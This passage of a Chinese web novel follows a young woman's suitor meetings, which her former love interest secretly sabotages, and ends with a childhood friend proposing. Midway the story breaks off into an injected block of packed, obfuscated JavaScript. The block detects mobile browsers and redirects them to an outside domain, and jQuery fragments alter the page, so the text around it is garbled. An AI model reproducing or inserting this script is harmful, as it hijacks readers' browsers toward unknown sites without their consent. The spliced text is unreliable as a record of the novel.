秦乐良在楚府吃完饭后就如同逃难般离开了,尽管崔老爷吩咐了侍卫送他,可他离开的速度太快,一眨眼人就送丢了。
但相比前四位公子,这位秦少爷算是见过楚文灵且在楚府用过餐的人,对此大家也纷纷生了好奇,秦少爷会不会借此机会一飞冲天入赘楚家。
楚老爷听到这些话时,又气了好大一通。
半夜无眠,将府中侍卫一一喊起来,交予他们登记在册的公子名字,让他们连夜将这些个人查清楚。
特意强调:看年纪。
显然白日一事在他心中留下了极深的阴影。
崔门所出的侍卫办事自然得力,更何况是楚小姐的事,不出一个时辰,那些人的所有信息都被楚老爷捏在手里。
大家面面相觑,看向拳头发抖的老爷。
“好,好,好!很好!”
楚老爷气得话也说不利索,“你们这调查的都是什么!”
让他们查年纪,可一本册子出来竟挑不出五个年龄合适的。
要么就是稚嫩小童,要么就是不惑之上,甚至,甚至有几个年龄都超过他这个做爹的了!
“回楚老爷,属下们是按上头名字调查的。”
“可这……”
不对劲的也太多了。
楚老爷一时语塞,他女儿会有这么差,全天下竟挑不出适龄男子相配!
侍卫们站成一排互相递着眼神。
“都说了楚小姐是要做咱们师奶奶的,老爷非要给她找夫婿作甚。”
“少说两句吧,我觉得这次师奶奶动真格了。”
“所以咱们得帮师爷爷一把!”
眼神传递间,低眉的几人勾出邪肆的笑。
楚小姐再不济也不会沦落到适龄男子寥寥无几,可册子给了他们几兄弟查人,那些人年龄几何,还不是由师爷爷说了算。
哪儿得需要一个时辰,楚府离崔府来回也不过半个时辰。
“将那些不合适的人都给我从册子上抹去,剩下的……”
楚老爷长叹一声,剩下的也就两个。
“剩下的挨着去通知,明儿一个,后日一个。”
说罢,起身往寝屋走去。
侍卫乖觉点头,几人当值,一人出了楚府往崔府奔去了。
翌日,楚文灵从雪柳口中得知,今日仅为她安排了一位公子相见,甚是诧异:“不是说有一册子的名字?”
“昨儿夜里,老爷让侍卫们去查了那些个公子,适龄男子仅剩两位。”
楚文灵:“……”她有这么差?
“小姐别难过,这不是您的问题。”
“当然不会是我的问题。”
她清冷一笑,起身挪步到茶案旁。
这两日在家里躺得多,走得少,腿上伤口已经结痂,不做大动作也能走两步。
“无缘无故来不了,秦乐良那样的小少年,适龄男子仅剩两位,你不觉得这事儿过于巧合?”
是太巧合。
自昨日接二连三收到对方的信件起,就巧合得不得了。
巧合得像……有人从中作梗。
雪柳自是想到了,可她不敢说。
小姐聪慧,定然也是想到了这一层。
“原本以为他是个体面的,竟没想到能使出这种龌龊的法子。”
“小姐说的是崔家主?”
“你看,你也能想到是他。”
雪柳:“……”
楚文灵断定是崔胤在捣鬼,心中自是生了怨怼。
“小姐,其实您自己也不想要与那些男子相见的。”
“我不想见他们,与他插手不让我与他们见面,是两码事。”她喝茶平复自己的心情,“雪柳,我与他已无瓜葛,实在是不想与他有任何牵连。”
以前只是自己单纯地追着他跑,他对自己的拒绝天下人都看得真真的,自己的名声还算清白好听。
可他以自己的名义明目张胆地阻拦自己与那些公子见面,怕是天下无人敢娶她了。
届时,自己即便不会是他的,也不会成为旁人的。
爱也好,恨也好,所有的情绪也都会给他。
卑鄙。
“那小姐,您打算如何做?”
“原本只想独身寻个清净,现在看来是不行了。”
话落,起身往堂屋走去。
若是想要跟崔胤彻底划清界限,那么就必须在这仅有的两位公子中择一位夫婿定亲。
这是最简单直接的方法,与崔胤决裂的方法。
她神色一凛,挪步的速度不自觉地加快。
抵达堂屋,那位公子已经到了。
宋桐,书生,亦是常年落榜生。
弱冠之年,靠贩卖字画维持生活,家中除却自己还有一位病重的母亲。
这是她在来的路上就从雪柳口中得知。
“宋公子,您好。”
与父亲母亲打过招呼后,楚文灵出于礼节与他问好。
对方起身,恭敬回礼。
许是看过的书太多,宋桐书生气太浓,导致行为举止也是一板一眼,循规蹈矩。
楚文灵打了个机灵,不禁冷冷一笑,也难为崔胤给她留了这么个适龄男人。
“楚老爷,楚夫人,在下有句话不知当讲不当讲。”
楚文灵:“……”要讲便讲,不当讲最好不讲。
可偏生楚老爷对这样的寒门子弟最是欣赏,虽不喜他唯诺拘谨的模样,可还是点头让他畅所欲言。
接下来便听宋桐滔滔不绝说起话来。
各种引经据典,名人大家,弯弯绕绕夹杂起来,听得楚文灵脑门儿嗡嗡地疼。
不过,她还是在他那些华丽的辞藻,堆砌的事例中听出了他此话的关窍——
二人定亲,省去聘礼陪嫁等一系列繁文缛节,此乃忠贞。
二人成亲后,楚文灵随他住到宋家,此乃气节,入赘一事万万不能。
楚文灵身为宋家媳妇,得照顾他病弱的母亲,此乃孝道。
……
还有些什么,她忘记了,说了一大段自以为有道理的话,实则从他提出忠贞不渝的爱情应当是纯粹不掺杂钱财的时候,剩下的她便已经听不下去了。
宋桐还在不停地吐着白沫子,楚文灵幽幽看向脸色黑沉的楚老爷,她很想问能不能动手把这人给赶出去?
然,还未及她按捺不住,楚老爷便是一个挥手,让人把他给“请”出去了。
“除了肚子里那二两墨之外,一无是处的家伙,八字还没一撇的事,就来要求我楚家人了!百无一用是书生!”
楚文灵:“……”倒也不必如此说。
不过她的确很
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16409565|165906||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是不解,崔胤到底上哪儿找的这种“人才”来膈应她?这让她很期待,明日到底又是怎么样的人,又会以怎样的方式来让她恶心。
连着两日择婿都惨遭失败,楚老爷对于明天的人也不太抱希望。可当下人将名字递给他,倒是让他眼前一亮,瞬间来了精神。
若是那个少年,虽说家世平凡了些,可与楚楚倒也算般配。
“明日是我与夫人拜访君上与君后的日子,这位公子来后直接带到堂屋即可,不用人守着。”
沈玟毓与凌画交好,每月都会相约在宫中相聚,君上与楚老爷也会随同。
下人不觉奇怪,点头应下。
只是老爷口中的这位公子平日也时常见,竟没想到他的名字会在册子上。
第二日一早,楚老爷与夫人前脚入宫,楚府的大门后脚敲响,走进一道修长挺拔的身影。
“楚楚呢?”
嗓音清润,声线柔和。
“小姐时常说‘夏日炎炎正好眠’,看着天儿,得睡到日上三竿去。”小厮奉茶时,又打趣道。
“日头是有些晒了,去取些冰块让雪柳拿进屋里。”
小厮听命去办。
这公子虽说也是温文有礼的,可比起昨日那个装腔作势的宋桐,可真是好了太多。
骨子里的优雅气度,那是如论如何都装不出来的。
楚文灵懒睡到接近正午,听闻前来相见的公子已经在堂屋等了好一会儿,立刻往外面走。
“老爷和夫人入宫了,下人们准备了大桌子菜,就等着您来招待客人呢。”雪柳扶着她小心翼翼地说。
“爹爹与母亲走也不说一声,让人巴巴儿地等着多失礼。”
说着,小步子一顿,似是疑惑,“你是说那位公子从早上一直等到现在?”
“是。”
“没有不耐烦,也没催过?”
“还让人给小姐送了冰块到屋里。”
这么温柔体贴?
崔胤会给她留这么好的男人与之相见?还是说,这是条漏网之鱼?
狐疑地穿过院子抵达堂屋,却见一道白光在眼前轻晃。男人身着白衣,玉冠束发极具精神,那张脸更是棱角分明俊秀非凡。
下一瞬,她会心一笑:“还以为是谁那么彬彬有礼,竟坐在这儿等那么久。”
太过熟络,温沅也不起身,见她走路还算自然就挪回了目光:“给你盛了碗白粥,刚起床,暖暖肚子。”
楚文灵也不矫情,慢悠悠地喝下后才问道:“唯二的两个适龄男子,其中一个怎会是你?”
“你只当我是滥竽充数的即可。”
温沅并不过多解释。
实则前些年楚楚一门心思扑在崔胤身上,坊间微词颇多,她的风评算不上好。楚老爷突然抛出择婿的消息,除却蠢蠢欲动之人,剩下的便是不安好心看好戏的了。
若是此次择婿无人来报,楚楚定然会被嘲笑得体无完肤,届时什么流言碎语都随之而来,白白损害女儿家的声誉。
有他兜底,场面上不会那么难堪。
楚文灵听出话中深意,感动道:“你这样子的叫做滥竽充数,恐怕天底下就没有合适的男人了。”
“既是如此……”
温沅浅笑的嘴角轻顿,须臾继续问起,“既是如此,你要不要和我试试看?”